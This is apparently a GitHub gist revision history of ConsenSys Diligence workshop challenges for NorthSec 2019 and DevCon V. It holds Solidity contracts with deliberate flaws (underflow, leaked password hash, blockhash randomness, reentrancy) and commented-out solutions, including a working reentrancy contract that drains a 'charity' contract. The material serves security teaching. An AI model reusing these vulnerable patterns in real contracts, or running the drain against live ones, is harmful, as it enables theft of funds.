Last active
October 9, 2019 11:39
-
-
Save shayanb/19dace14c6730a57c8df8682eb3f1ba6 to your computer and use it in GitHub Desktop.
Revisions
-
shayanb revised this gist
Oct 9, 2019 . 1 changed file with 1 addition and 0 deletions.There are no files selected for viewing
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters. Learn more about bidirectional Unicode charactersOriginal file line number Diff line number Diff line change @@ -5,6 +5,7 @@ pragma solidity ^0.5.4; // Say Hi //Deployed at Ropsten: 0x0f6501d05272b95b8ad35c64f1939626ff01c81d contract helloWorld { -
shayanb revised this gist
Oct 9, 2019 . 1 changed file with 2 additions and 2 deletions.There are no files selected for viewing
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters. Learn more about bidirectional Unicode charactersOriginal file line number Diff line number Diff line change @@ -1,6 +1,6 @@ // ConsenSys Diligence // DevCon V - October 2019 // Osaka, Japan pragma solidity ^0.5.4; -
shayanb revised this gist
Oct 9, 2019 . 1 changed file with 4 additions and 5 deletions.There are no files selected for viewing
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters. Learn more about bidirectional Unicode charactersOriginal file line number Diff line number Diff line change @@ -1,8 +1,8 @@ // ConsenSys Diligence // DevCon V - October 2019 // Osaka, Japan These files: https://kik.to/d5 --------------------------------------- Metamask: https://metamask.io/ Get Ropsten coins: https://faucet.metamask.io/ @@ -19,8 +19,7 @@ Capture the Ether: https://capturetheether.com ConsenSys Diligence Twitter: @ConsenSysAudits --------------------------------------- More about what we do: https://diligence.consensys.net/ --------------------------------------- --------------------------------------- --------------------------------------- -
shayanb revised this gist
Oct 9, 2019 . 5 changed files with 10 additions and 10 deletions.There are no files selected for viewing
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters. Learn more about bidirectional Unicode charactersOriginal file line number Diff line number Diff line change @@ -1,6 +1,6 @@ // ConsenSys Diligence // DevCon V - October 2019 // Osaka, Japan pragma solidity ^0.5.4; This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters. Learn more about bidirectional Unicode charactersOriginal file line number Diff line number Diff line change @@ -1,6 +1,6 @@ // ConsenSys Diligence // DevCon V - October 2019 // Osaka, Japan pragma solidity ^0.5.4; This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters. Learn more about bidirectional Unicode charactersOriginal file line number Diff line number Diff line change @@ -1,6 +1,6 @@ // ConsenSys Diligence // DevCon V - October 2019 // Osaka, Japan pragma solidity ^0.5.4; This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters. Learn more about bidirectional Unicode charactersOriginal file line number Diff line number Diff line change @@ -1,6 +1,6 @@ // ConsenSys Diligence // DevCon V - October 2019 // Osaka, Japan pragma solidity ^0.5.4; This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters. Learn more about bidirectional Unicode charactersOriginal file line number Diff line number Diff line change @@ -1,6 +1,6 @@ // ConsenSys Diligence // DevCon V - October 2019 // Osaka, Japan pragma solidity ^0.5.4; -
shayanb revised this gist
May 16, 2019 . 1 changed file with 43 additions and 0 deletions.There are no files selected for viewing
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters. Learn more about bidirectional Unicode charactersOriginal file line number Diff line number Diff line change @@ -0,0 +1,43 @@ // ConsenSys Diligence // NorthSec 2019 // Montreal, Canada These files: http://bit.ly/NorthSec2019 --------------------------------------- Metamask: https://metamask.io/ Get Ropsten coins: https://faucet.metamask.io/ --------------------------------------- Solidity Documentation: https://solidity.readthedocs.io/en/latest/ --------------------------------------- --------------------------------------- --------------------------------------- Ethereum Smart Contract Security Best Practices: https://consensys.github.io/smart-contract-best-practices --------------------------------------- Capture the Ether: https://capturetheether.com --------------------------------------- ConsenSys Diligence Twitter: @ConsenSysAudits --------------------------------------- More about what we do: https://consensys.github.io/diligence https://consensys.net/diligence/ --------------------------------------- --------------------------------------- --------------------------------------- --------------------------------------- // ██████╗ ██████╗ ███╗ ██╗███████╗███████╗███╗ ██╗███████╗██╗ ██╗███████╗ // ██╔════╝██╔═══██╗████╗ ██║██╔════╝██╔════╝████╗ ██║██╔════╝╚██╗ ██╔╝██╔════╝ // ██║ ██║ ██║██╔██╗ ██║███████╗█████╗ ██╔██╗ ██║███████╗ ╚████╔╝ ███████╗ // ██║ ██║ ██║██║╚██╗██║╚════██║██╔══╝ ██║╚██╗██║╚════██║ ╚██╔╝ ╚════██║ // ╚██████╗╚██████╔╝██║ ╚████║███████║███████╗██║ ╚████║███████║ ██║ ███████║ // ╚═════╝ ╚═════╝ ╚═╝ ╚═══╝╚══════╝╚══════╝╚═╝ ╚═══╝╚══════╝ ╚═╝ ╚══════╝ // ██████╗ ██╗██╗ ██╗ ██████╗ ███████╗███╗ ██╗ ██████╗███████╗ // ██╔══██╗██║██║ ██║██╔════╝ ██╔════╝████╗ ██║██╔════╝██╔════╝ // ██║ ██║██║██║ ██║██║ ███╗█████╗ ██╔██╗ ██║██║ █████╗ // ██║ ██║██║██║ ██║██║ ██║██╔══╝ ██║╚██╗██║██║ ██╔══╝ // ██████╔╝██║███████╗██║╚██████╔╝███████╗██║ ╚████║╚██████╗███████╗ // ╚═════╝ ╚═╝╚══════╝╚═╝ ╚═════╝ ╚══════╝╚═╝ ╚═══╝ ╚═════╝╚══════╝ -
shayanb revised this gist
May 16, 2019 . 2 changed files with 23 additions and 2 deletions.There are no files selected for viewing
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters. Learn more about bidirectional Unicode charactersOriginal file line number Diff line number Diff line change @@ -47,7 +47,7 @@ contract challenge3 { // contract attack { // doAttack (challenge3 target) public payable { // require(msg.value > 0); // target.lottery.value(msg.value)(???); // msg.sender.transfer(address(this).balance); This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters. Learn more about bidirectional Unicode charactersOriginal file line number Diff line number Diff line change @@ -53,4 +53,25 @@ contract challenge4 { // /\ __-. /\ \ /\ \ /\ \ /\ ___\ /\ ___\ /\ "-.\ \ /\ ___\ /\ ___\ // \ \ \/\ \ \ \ \ \ \ \____ \ \ \ \ \ \__ \ \ \ __\ \ \ \-. \ \ \ \____ \ \ __\ // \ \____- \ \_\ \ \_____\ \ \_\ \ \_____\ \ \_____\ \ \_\\"\_\ \ \_____\ \ \_____\ // \/____/ \/_/ \/_____/ \/_/ \/_____/ \/_____/ \/_/ \/_/ \/_____/ \/_____/ // contract Attacker { // challenge4 target; // constructor(address payable targetAddress) public payable { // target = challenge4(targetAddress); // target.donate.value(msg.value)(address(this)); // } // function attack() public { // target.withdraw(target.balanceOf(address(this))); // } // function () external payable { // if (address(target).balance >= 1 ether) { // //The check also can be on gas // target.withdraw(target.balanceOf(address(this))); // } // } // } -
shayanb revised this gist
May 16, 2019 . 3 changed files with 21 additions and 7 deletions.There are no files selected for viewing
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters. Learn more about bidirectional Unicode charactersOriginal file line number Diff line number Diff line change @@ -24,11 +24,6 @@ contract challenge2 { hash = keccak256(abi.encode(secretPassword)); } function guessPassword(string memory password) public payable { require(keccak256(abi.encode(password)) == hash); This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters. Learn more about bidirectional Unicode charactersOriginal file line number Diff line number Diff line change @@ -17,7 +17,7 @@ contract challenge3 { } function lottery(uint256 n) payable public { require(msg.value > 0); //buy ticket, it should be more than 0 answer = uint256(keccak256(abi.encode(blockhash(block.number - 1)))); if (n == answer) { msg.sender.transfer(1337); @@ -26,6 +26,7 @@ contract challenge3 { } // ___ __ // / __\___ _ __ ___ ___ _ __ / _\_ _ ___ // / / / _ \| '_ \/ __|/ _ \ '_ \\ \| | | / __| @@ -37,4 +38,19 @@ contract challenge3 { // / /\ / | | |/ _` |/ _ \ '_ \ / __/ _ \ // / /_//| | | | (_| | __/ | | | (_| __/ // /___,' |_|_|_|\__, |\___|_| |_|\___\___| // |___/ // contract attack { // constructor (challenge3 target) public payable { // require(msg.value > 0); // target.lottery.value(msg.value)(???); // msg.sender.transfer(address(this).balance); // //selfdestruct(msg.sender); // } // } This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters. Learn more about bidirectional Unicode charactersOriginal file line number Diff line number Diff line change @@ -8,9 +8,11 @@ pragma solidity ^0.5.4; contract helloWorld { //Storage variables string public name; address private owner; //Defining events event Hi(string name); constructor() public { @@ -22,6 +24,7 @@ contract helloWorld { if (msg.sender == owner) { name = _name; } //call event emit Hi(_name); } -
shayanb revised this gist
May 10, 2019 . No changes.There are no files selected for viewing
-
shayanb revised this gist
May 10, 2019 . 3 changed files with 5 additions and 2 deletions.There are no files selected for viewing
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters. Learn more about bidirectional Unicode charactersOriginal file line number Diff line number Diff line change @@ -5,6 +5,7 @@ pragma solidity ^0.5.4; // Guess the password for the safe // Deployed on Ropsten: 0xC224beb93142607b91d21BBd4A67a34a50E26AAB contract challenge2 { This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters. Learn more about bidirectional Unicode charactersOriginal file line number Diff line number Diff line change @@ -4,8 +4,8 @@ pragma solidity ^0.5.4; // Lottery using block hash as source of randomness // Deployed on Ropsten: 0x70707c3163575fb0eba9f291f75ff0742cb18386 contract challenge3 { This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters. Learn more about bidirectional Unicode charactersOriginal file line number Diff line number Diff line change @@ -4,10 +4,12 @@ pragma solidity ^0.5.4; // Steal money from charity (For educational purposes only) // Deployed on Ropsten: 0x315a3254ff66c387a87d1771ae4877b4782a1a7c contract challenge4 { mapping(address => uint) public balances; -
shayanb revised this gist
May 9, 2019 . 3 changed files with 17 additions and 5 deletions.There are no files selected for viewing
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters. Learn more about bidirectional Unicode charactersOriginal file line number Diff line number Diff line change @@ -4,12 +4,23 @@ pragma solidity ^0.5.4; // Can you have a gazillion balance? contract challenge1 { uint256 public balance; constructor() public { balance = 10; } function buy() external payable { balance += msg.value; } function burn(uint256 amount) external { balance -= amount; } } This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters. Learn more about bidirectional Unicode charactersOriginal file line number Diff line number Diff line change @@ -17,10 +17,11 @@ contract challenge3 { } function lottery(uint256 n) payable public { require(msg.value > 0); //buy ticket answer = uint256(keccak256(abi.encode(blockhash(block.number - 1)))); if (n == answer) { msg.sender.transfer(1337); } } } This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters. Learn more about bidirectional Unicode charactersOriginal file line number Diff line number Diff line change @@ -32,7 +32,7 @@ contract challenge4 { if(success) { emit paid(msg.sender, _amount); } balances[msg.sender] -= _amount; //deduct the balance } } -
shayanb revised this gist
May 9, 2019 . 2 changed files with 10 additions and 12 deletions.There are no files selected for viewing
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters. Learn more about bidirectional Unicode charactersOriginal file line number Diff line number Diff line change @@ -8,32 +8,31 @@ pragma solidity ^0.5.4; contract challenge2 { bytes32 private hash; address public owner; constructor(string memory secretPassword) public payable{ require(msg.value == 1 ether); //1 Ether Deposit required owner = msg.sender; hash = keccak256(abi.encode(secretPassword)); } function changePassword(string memory secretPassword) public payable{ require(msg.sender == owner); //OnlyOwner require(msg.value == 1 ether); //1 Ether Deposit required hash = keccak256(abi.encode(secretPassword)); } function passwordTest() public view returns (bytes32){ //TODO: remove this for production return (hash); } function guessPassword(string memory password) public payable { require(keccak256(abi.encode(password)) == hash); msg.sender.transfer(1337); } } This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters. Learn more about bidirectional Unicode charactersOriginal file line number Diff line number Diff line change @@ -17,10 +17,9 @@ contract challenge3 { } function lottery(uint256 n) payable public { answer = uint256(keccak256(abi.encode(blockhash(block.number - 1)))); if (n == answer) { msg.sender.transfer(1337); } } } -
shayanb revised this gist
May 9, 2019 . 1 changed file with 1 addition and 1 deletion.There are no files selected for viewing
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters. Learn more about bidirectional Unicode charactersOriginal file line number Diff line number Diff line change @@ -18,7 +18,7 @@ contract challenge3 { function lottery(uint256 n) payable public { require(msg.value == 1 ether); //1 Ether Deposit required answer = uint256(keccak256(abi.encode(blockhash(block.number - 1)))); if (n == answer) { msg.sender.transfer(2 ether); } -
shayanb revised this gist
May 9, 2019 . 1 changed file with 1 addition and 0 deletions.There are no files selected for viewing
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters. Learn more about bidirectional Unicode charactersOriginal file line number Diff line number Diff line change @@ -25,6 +25,7 @@ contract challenge3 { } } // ___ __ // / __\___ _ __ ___ ___ _ __ / _\_ _ ___ // / / / _ \| '_ \/ __|/ _ \ '_ \\ \| | | / __| -
shayanb revised this gist
May 9, 2019 . 4 changed files with 25 additions and 8 deletions.There are no files selected for viewing
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters. Learn more about bidirectional Unicode charactersOriginal file line number Diff line number Diff line change @@ -12,19 +12,24 @@ contract challenge2 { address public owner; constructor(string memory secretPassword) public payable{ require(msg.value == 1 ether); //1 Ether Deposit required owner = msg.sender; password = keccak256(abi.encode(secretPassword)); } function changePassword(string memory secretPassword) public payable{ require(msg.sender == owner); //OnlyOwner require(msg.value == 1 ether); //1 Ether Deposit required password = keccak256(abi.encode(secretPassword)); } function passwordTest() public view returns (bytes32){ //TODO: remove this for production return (password); } function guessPassword(string memory n) public payable { require(msg.value == 1 ether); // 1 Ether Deposit required if (keccak256(abi.encode(n)) == password) { msg.sender.transfer(2 ether); This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters. Learn more about bidirectional Unicode charactersOriginal file line number Diff line number Diff line change @@ -17,7 +17,7 @@ contract challenge3 { } function lottery(uint256 n) payable public { require(msg.value == 1 ether); //1 Ether Deposit required answer = uint256(keccak256(abi.encode(blockhash(block.number)))); if (n == answer) { msg.sender.transfer(2 ether); This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters. Learn more about bidirectional Unicode charactersOriginal file line number Diff line number Diff line change @@ -14,7 +14,7 @@ contract challenge4 { event paid(address payee, uint amount); constructor() public payable{ require(msg.value == 1 ether); balances[msg.sender] = msg.value; } @@ -32,7 +32,7 @@ contract challenge4 { if(success) { emit paid(msg.sender, _amount); } balances[msg.sender] -= _amount; //decrease the balance } } This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters. Learn more about bidirectional Unicode charactersOriginal file line number Diff line number Diff line change @@ -4,18 +4,30 @@ pragma solidity ^0.5.4; // Say Hi contract helloWorld { string public name; address private owner; event Hi(string name); constructor() public { owner = msg.sender; } function sayHi(string memory _name) public { //change the name if owner calls if (msg.sender == owner) { name = _name; } emit Hi(_name); } //fallback function. function() external { emit Hi("Hello World"); } } -
shayanb revised this gist
May 8, 2019 . 1 changed file with 1 addition and 2 deletions.There are no files selected for viewing
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters. Learn more about bidirectional Unicode charactersOriginal file line number Diff line number Diff line change @@ -4,6 +4,7 @@ pragma solidity ^0.5.4; contract challenge4 { // Steal money from charity @@ -37,12 +38,10 @@ contract challenge4 { function() external payable {} } // ______ ______ __ __ ______ ______ __ __ ______ __ __ ______ // /\ ___\ /\ __ \ /\ "-.\ \ /\ ___\ /\ ___\ /\ "-.\ \ /\ ___\ /\ \_\ \ /\ ___\ // \ \ \____ \ \ \/\ \ \ \ \-. \ \ \___ \ \ \ __\ \ \ \-. \ \ \___ \ \ \____ \ \ \___ \ -
shayanb revised this gist
May 8, 2019 . 1 changed file with 7 additions and 7 deletions.There are no files selected for viewing
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters. Learn more about bidirectional Unicode charactersOriginal file line number Diff line number Diff line change @@ -8,25 +8,25 @@ pragma solidity ^0.5.4; contract challenge2 { bytes32 private password; address public owner; constructor(string memory secretPassword) public payable{ require(msg.value == 1 ether); owner = msg.sender; password = keccak256(abi.encode(secretPassword)); } function changePassword(string memory secretPassword) public payable{ require(msg.sender == owner); require(msg.value == 1 ether); password = keccak256(abi.encode(secretPassword)); } function guessPassword(string memory n) public payable { require(msg.value == 1 ether); if (keccak256(abi.encode(n)) == password) { msg.sender.transfer(2 ether); } } -
shayanb revised this gist
May 8, 2019 . 3 changed files with 10 additions and 2 deletions.There are no files selected for viewing
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters. Learn more about bidirectional Unicode charactersOriginal file line number Diff line number Diff line change @@ -11,11 +11,13 @@ contract challenge2 { uint256 private password; address public owner; constructor(uint256 secretPassword) public payable{ require(msg.value == 1 ether); owner = msg.sender; password = secretPassword; } function changePassword(uint256 secretPassword) public payable{ require(msg.sender == owner); require(msg.value == 1 ether); password = secretPassword; This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters. Learn more about bidirectional Unicode charactersOriginal file line number Diff line number Diff line change @@ -11,6 +11,7 @@ pragma solidity ^0.5.4; contract challenge3 { uint256 public answer; constructor () payable public { require(msg.value == 1 ether); } This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters. Learn more about bidirectional Unicode charactersOriginal file line number Diff line number Diff line change @@ -12,6 +12,11 @@ contract challenge4 { event paid(address payee, uint amount); constructor() public payable{ require(msg.value == 1 ether); balances[msg.sender] = msg.value; } function donate(address _to) public payable { balances[_to] += msg.value; } -
shayanb revised this gist
May 7, 2019 . 4 changed files with 32 additions and 9 deletions.There are no files selected for viewing
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters. Learn more about bidirectional Unicode charactersOriginal file line number Diff line number Diff line change @@ -4,7 +4,6 @@ pragma solidity ^0.5.4; // Guess the password for the safe contract challenge2 { @@ -22,7 +21,7 @@ contract challenge2 { password = secretPassword; } function guessPassword(uint8 n) public payable { require(msg.value == 1 ether); if (n == password) { This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters. Learn more about bidirectional Unicode charactersOriginal file line number Diff line number Diff line change @@ -2,12 +2,13 @@ // NorthSec 2019 // Montreal, Canada pragma solidity ^0.5.4; // Lottery using block hash as source of randomness contract challenge3 { uint256 public answer; constructor () payable public { This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters. Learn more about bidirectional Unicode charactersOriginal file line number Diff line number Diff line change @@ -6,15 +6,38 @@ pragma solidity ^0.5.4; contract challenge4 { // Steal money from charity mapping(address => uint) public balances; event paid(address payee, uint amount); function donate(address _to) public payable { balances[_to] += msg.value; } function balanceOf(address _who) public view returns (uint balance) { return balances[_who]; } function withdraw(uint _amount) public { if(balances[msg.sender] >= _amount) { (bool success, ) = msg.sender.call.value(_amount)(""); if(success) { emit paid(msg.sender, _amount); } balances[msg.sender] -= _amount; } } function() external payable {} } // ______ ______ __ __ ______ ______ __ __ ______ __ __ ______ // /\ ___\ /\ __ \ /\ "-.\ \ /\ ___\ /\ ___\ /\ "-.\ \ /\ ___\ /\ \_\ \ /\ ___\ // \ \ \____ \ \ \/\ \ \ \ \-. \ \ \___ \ \ \ __\ \ \ \-. \ \ \___ \ \ \____ \ \ \___ \ This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters. Learn more about bidirectional Unicode charactersOriginal file line number Diff line number Diff line change @@ -15,7 +15,7 @@ contract helloWorld { if (msg.sender == owner) { name = _name; } emit Hi(name); } } -
shayanb revised this gist
May 6, 2019 . 1 changed file with 5 additions and 5 deletions.There are no files selected for viewing
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters. Learn more about bidirectional Unicode charactersOriginal file line number Diff line number Diff line change @@ -5,27 +5,27 @@ pragma solidity ^0.5.4; // Guess the password for the safe contract challenge2 { uint256 private password; address public owner; constructor() public payable{ owner = msg.sender; } function setPassword(uint256 secretPassword) public payable{ require(msg.sender == owner); require(msg.value == 1 ether); password = secretPassword; } function guess(uint8 n) public payable { require(msg.value == 1 ether); if (n == password) { msg.sender.transfer(2 ether); } } -
shayanb revised this gist
May 6, 2019 . 1 changed file with 21 additions and 4 deletions.There are no files selected for viewing
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters. Learn more about bidirectional Unicode charactersOriginal file line number Diff line number Diff line change @@ -4,17 +4,34 @@ pragma solidity ^0.5.4; // Guess the secret number contract challenge2 { uint256 private answer; address public owner; constructor() public payable{ owner = msg.sender; } function setPrize(uint256 secretAnswer) public payable{ require(msg.sender == owner); require(msg.value == 1 ether); answer = secretAnswer; } function guess(uint8 n) public payable { require(msg.value == 1 ether); if (n == answer) { msg.sender.transfer(2 ether); } } } // _________ _________ // \_ ___ \ ____ ____ ______ ____ ____ / _____/__.__. ______ // / \ \/ / _ \ / \ / ___// __ \ / \ \_____ < | |/ ___/ -
shayanb revised this gist
May 6, 2019 . 1 changed file with 15 additions and 7 deletions.There are no files selected for viewing
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters. Learn more about bidirectional Unicode charactersOriginal file line number Diff line number Diff line change @@ -2,19 +2,27 @@ // NorthSec 2019 // Montreal, Canada // Lottery using block hash as source of randomness pragma solidity ^0.5.4; contract challenge1 { uint256 public answer; constructor () payable public { require(msg.value == 1 ether); } function lottery(uint256 n) payable public { require(msg.value == 1 ether); answer = uint256(keccak256(abi.encode(blockhash(block.number)))); if (n == answer) { msg.sender.transfer(2 ether); } } } // ___ __ // / __\___ _ __ ___ ___ _ __ / _\_ _ ___ // / / / _ \| '_ \/ __|/ _ \ '_ \\ \| | | / __| -
shayanb renamed this gist
May 6, 2019 . 1 changed file with 0 additions and 0 deletions.There are no files selected for viewing
File renamed without changes. -
shayanb revised this gist
May 6, 2019 . 5 changed files with 9 additions and 40 deletions.There are no files selected for viewing
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters. Learn more about bidirectional Unicode charactersOriginal file line number Diff line number Diff line change @@ -9,14 +9,7 @@ contract challenge1 { string public name; address private owner; //Placeholder } This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters. Learn more about bidirectional Unicode charactersOriginal file line number Diff line number Diff line change @@ -9,14 +9,8 @@ contract challenge2 { string public name; address private owner; //Placeholder } This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters. Learn more about bidirectional Unicode charactersOriginal file line number Diff line number Diff line change @@ -9,14 +9,8 @@ contract challenge3 { string public name; address private owner; //Placeholder } This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters. Learn more about bidirectional Unicode charactersOriginal file line number Diff line number Diff line change @@ -9,14 +9,8 @@ contract challenge4 { string public name; address private owner; //Placeholder } This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters. Learn more about bidirectional Unicode charactersOriginal file line number Diff line number Diff line change @@ -9,14 +9,8 @@ contract challenge5 { string public name; address private owner; //Placeholder } -
shayanb created this gist
May 6, 2019 .There are no files selected for viewing
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters. Learn more about bidirectional Unicode charactersOriginal file line number Diff line number Diff line change @@ -0,0 +1,33 @@ // ConsenSys Diligence // NorthSec 2019 // Montreal, Canada pragma solidity ^0.5.4; contract helloWorld { string public name; address private owner; event Hi(string name); function sayHi(string memory _name) public { if (msg.sender == owner) { name = _name; } emit Hi(_name); } } // ______ _____ // / ____/___ ____ ________ ____ / ___/__ _______ // / / / __ \/ __ \/ ___/ _ \/ __ \\__ \/ / / / ___/ // / /___/ /_/ / / / (__ ) __/ / / /__/ / /_/ (__ ) // \__________/___/_/____/\___/_/ /_/____/\__, /____/ // / __ \(_) (_)___ ____ ____ ______//___/ // / / / / / / / __ `/ _ \/ __ \/ ___/ _ \ // / /_/ / / / / /_/ / __/ / / / /__/ __/ // /_____/_/_/_/\__, /\___/_/ /_/\___/\___/ // /____/ This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters. Learn more about bidirectional Unicode charactersOriginal file line number Diff line number Diff line change @@ -0,0 +1,31 @@ // ConsenSys Diligence // NorthSec 2019 // Montreal, Canada pragma solidity ^0.5.4; contract challenge1 { string public name; address private owner; event Hi(string name); function sayHi(string memory _name) public { if (msg.sender == owner) { name = _name; } emit Hi(_name); } } // ___ __ __ _ ____ ____ __ _ ____ _ _ ____ // / __)/ \ ( ( \/ ___)( __)( ( \/ ___)( \/ )/ ___) // ( (__( O )/ /\___ \ ) _) / /\___ \ ) / \___ \ // \___)\__/ \_)__)(____/(____)\_)__)(____/(__/ (____/ // ____ __ __ __ ___ ____ __ _ ___ ____ // ( \( )( ) ( )/ __)( __)( ( \ / __)( __) // ) D ( )( / (_/\ )(( (_ \ ) _) / /( (__ ) _) // (____/(__)\____/(__)\___/(____)\_)__) \___)(____) This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters. Learn more about bidirectional Unicode charactersOriginal file line number Diff line number Diff line change @@ -0,0 +1,35 @@ // ConsenSys Diligence // NorthSec 2019 // Montreal, Canada pragma solidity ^0.5.4; contract challenge2 { string public name; address private owner; event Hi(string name); function sayHi(string memory _name) public { if (msg.sender == owner) { name = _name; } emit Hi(_name); } } // _________ _________ // \_ ___ \ ____ ____ ______ ____ ____ / _____/__.__. ______ // / \ \/ / _ \ / \ / ___// __ \ / \ \_____ < | |/ ___/ // \ \___( <_> ) | \\___ \\ ___/| | \/ \___ |\___ \ // \______ /\____/|___| /____ >\___ >___| /_______ / ____/____ > // \/ \/ \/ \/ \/ \/\/ \/ // ________ .__.__ .__ // \______ \ |__| | |__| ____ ____ ____ ____ ____ // | | \| | | | |/ ___\_/ __ \ / \_/ ___\/ __ \ // | ` \ | |_| / /_/ > ___/| | \ \__\ ___/ // /_______ /__|____/__\___ / \___ >___| /\___ >___ > // \/ /_____/ \/ \/ \/ \/ This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters. Learn more about bidirectional Unicode charactersOriginal file line number Diff line number Diff line change @@ -0,0 +1,35 @@ // ConsenSys Diligence // NorthSec 2019 // Montreal, Canada pragma solidity ^0.5.4; contract challenge3 { string public name; address private owner; event Hi(string name); function sayHi(string memory _name) public { if (msg.sender == owner) { name = _name; } emit Hi(_name); } } // ___ __ // / __\___ _ __ ___ ___ _ __ / _\_ _ ___ // / / / _ \| '_ \/ __|/ _ \ '_ \\ \| | | / __| // / /__| (_) | | | \__ \ __/ | | |\ \ |_| \__ \ // \____/\___/|_| |_|___/\___|_| |_\__/\__, |___/ // |___/ // ___ _ _ _ // / (_) (_) __ _ ___ _ __ ___ ___ // / /\ / | | |/ _` |/ _ \ '_ \ / __/ _ \ // / /_//| | | | (_| | __/ | | | (_| __/ // /___,' |_|_|_|\__, |\___|_| |_|\___\___| // |___/ This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters. Learn more about bidirectional Unicode charactersOriginal file line number Diff line number Diff line change @@ -0,0 +1,33 @@ // ConsenSys Diligence // NorthSec 2019 // Montreal, Canada pragma solidity ^0.5.4; contract challenge4 { string public name; address private owner; event Hi(string name); function sayHi(string memory _name) public { if (msg.sender == owner) { name = _name; } emit Hi(_name); } } // ______ ______ __ __ ______ ______ __ __ ______ __ __ ______ // /\ ___\ /\ __ \ /\ "-.\ \ /\ 